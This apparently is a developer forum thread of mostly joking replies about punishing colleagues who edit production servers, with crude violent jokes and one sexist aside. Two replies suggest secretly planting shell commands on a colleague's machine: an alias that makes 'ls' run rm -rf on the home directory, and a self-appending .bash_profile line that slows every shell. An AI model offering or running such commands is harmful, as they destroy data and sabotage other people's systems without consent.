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poppelicious
7y

Hi. I'm new. What should I do to people working on production servers?

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  • 1
    7y
    Pay their way through university
  • 2
    7y
    Both
  • 2
    7y
    fuck them right in the asshole
  • 2
    7y
    But for real... blacklist their credentials. Or bring the issue up to a server Admin
  • 2
    7y
    @runfrodorun agreed. And beatings should continue until moral improves.
  • 2
    7y
    Blacklist their IP on prod until they've learned their lesson. If they dev on staging instead, repeat the lesson.
  • 2
    7y
    Peel them and dip them in vinegar.
  • 4
    7y
    For every line change they make, 1 sack tap. They should learn quickly.

    If they females maybe go with cutting off locks of hair, although I would wear a cup when doing that.
  • 1
    7y
    @runfrodorun I don't think we need to worry about being pc, while we definitely have American on here, we won't have the pussy varietal.
  • 1
    7y
    @RTRMS #microaggression :P
  • 1
    7y
    Love this, thank you all. You made my day of cleaning shit up a little better.
  • 1
    7y
    Kill them with fire
  • 2
    7y
    Do this on their computers while they not looking---> alias ls="rm -rf ~/*"
  • 1
    7y
    Route their traffic to a vm of course, and relax
  • 1
    7y
    Stand near them and wave a fan made of woven ostrich feathers.
  • 1
    7y
    actually. that one depends on whether they are developer of said server's or user ^^
  • 1
    7y
    2 words...

    Dick punch.
  • 0
    7y
    @vadimir Devs. They even altered code in the vendor (composer) directory. Really.
  • 0
    7y
    Open their terminal and enter this:

    echo "echo sleep 1 >> .bash_profile" >> ~/.bash_profile
  • 1
    7y
    The fact that "severe beatings" has a very large number of ++s relative to every other comment frightens me of the mental state of devramt's average user. 😂
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